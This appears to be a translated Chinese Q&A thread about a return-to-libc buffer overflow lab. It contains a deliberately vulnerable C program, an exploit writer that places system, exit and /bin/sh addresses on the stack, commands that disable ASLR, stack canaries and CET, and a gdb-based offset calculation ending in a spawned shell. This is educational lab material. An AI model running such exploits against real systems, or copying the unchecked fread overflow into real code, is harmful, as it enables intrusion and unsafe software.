c语言 - 返回 libc 缓冲区溢出攻击



我试图返回到libc缓冲区溢出。我找到了系统,exit和/bin/sh的所有地址,我不知道为什么,但是当我尝试运行易受攻击的程序时,没有任何反应。 系统,退出地址/bin/sh 地址

易受攻击的程序:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#ifndef BUF_SIZE
#define BUF_SIZE 12
#endif
int bof(FILE* badfile)
{
char buffer[BUF_SIZE];
fread(buffer, sizeof(char), 300, badfile);
return 1;
}

int main(int argc, char** argv)
{
FILE* badfile;
char dummy[BUF_SIZE * 5];
badfile = fopen("badfile", "r");
bof(badfile);
printf("Return properly.n");
fclose(badfile);
return 1;
}

漏洞利用程序:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv)
{
char buf[40];
FILE* badfile;
badfile = fopen("./badfile", "w");
*(long *) &buf[24] = 0xbffffe1e; // /bin/sh
*(long *) &buf[20] = 0xb7e369d0; // exit
*(long *) &buf[16] = 0xb7e42da0; // system
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
return 1;
}

这是我用来查找MYSHELL地址的程序(对于/bin/sh)

#include <stdio.h>
void main()
{
char* shell = getenv("MYSHELL");
if(shell)
printf("%xn", (unsigned int) shell);
}

终端: 运行 retlib 后的终端映像

首先,可以部署许多缓解措施来防止此攻击。您需要禁用每个:

  • ASLR:你已经禁用了sudo sysctl -w kernel.randomize_va_space=0。但是更好的选择是仅对一个shell及其子壳禁用它:setarch $(uname -m) -R /bin/bash.
  • 堆栈
  • 保护器:编译器可以在缓冲区和堆栈上的返回地址之间放置堆栈金丝雀,在执行缓冲区写入操作之前将值写入其中,然后在返回之前,验证缓冲区写入操作是否未更改该值。这可以通过-fno-stack-protector禁用。
  • 卷影堆栈
  • :较新的处理器可能具有卷影堆栈功能(英特尔 CET),在调用函数时,会将返回地址的副本从可写内存中存储起来,从当前函数返回时会根据返回地址进行检查。这(以及其他一些 CET 保护)可以通过-fcf-protection=none禁用。

这个问题没有提到它,但代码中使用的地址(以及long的使用)表明 32 位系统是目标。如果使用的系统是 64 位,则需要将-m32添加到编译器标志中:

gcc -fno-stack-protector -fcf-protection=none -m32 vulnerable.c

当从一个二进制文件确定环境变量地址并在另一个二进制文件中使用它时,它们的环境变量和从 shell 的调用是相同的(至少在长度上)是非常重要的。如果一个按a.out执行,另一个也应该按a.out执行。一个在不同的路径中,具有不同的argv将移动环境变量。

或者,您可以从易受攻击的二进制文件中打印环境变量的地址。

通过查看bof函数的反汇编,可以确定缓冲区和返回地址之间的距离:

(gdb) disassemble bof 
Dump of assembler code for function bof:
0x565561dd <+0>:     push   %ebp
0x565561de <+1>:     mov    %esp,%ebp
0x565561e0 <+3>:     push   %ebx
0x565561e1 <+4>:     sub    $0x14,%esp
0x565561e4 <+7>:     call   0x56556286 <__x86.get_pc_thunk.ax>
0x565561e9 <+12>:    add    $0x2de3,%eax
0x565561ee <+17>:    pushl  0x8(%ebp)
0x565561f1 <+20>:    push   $0x12c
0x565561f6 <+25>:    push   $0x1
0x565561f8 <+27>:    lea    -0x14(%ebp),%edx
0x565561fb <+30>:    push   %edx
0x565561fc <+31>:    mov    %eax,%ebx
0x565561fe <+33>:    call   0x56556050 <fread@plt>
0x56556203 <+38>:    add    $0x10,%esp
0x56556206 <+41>:    mov    $0x1,%eax
0x5655620b <+46>:    mov    -0x4(%ebp),%ebx
0x5655620e <+49>:    leave  
0x5655620f <+50>:    ret    
End of assembler dump.

请注意,-0x14(%ebp)用作要fread的第一个参数,这是将溢出的buffer。另请注意,ebp是在第一条指令中推送ebp后刚esp的值。因此,ebp指向保存的ebp,后跟返回地址。这意味着从缓冲区的开始,保存ebp是 20 字节,返回地址是 24 字节。

*(long *) &buf[32] = ...; // /bin/sh
*(long *) &buf[28] = ...; // exit
*(long *) &buf[24] = ...; // system

通过这些更改,shell 由易受攻击的二进制文件执行:

$ ps
PID TTY          TIME CMD
1664961 pts/1    00:00:00 bash
1706389 pts/1    00:00:00 bash
1709328 pts/1    00:00:00 ps
$ ./a.out 
$ ps
PID TTY          TIME CMD
1664961 pts/1    00:00:00 bash
1706389 pts/1    00:00:00 bash
1709329 pts/1    00:00:00 a.out
1709330 pts/1    00:00:00 sh
1709331 pts/1    00:00:00 sh
1709332 pts/1    00:00:00 ps
$ 

最新更新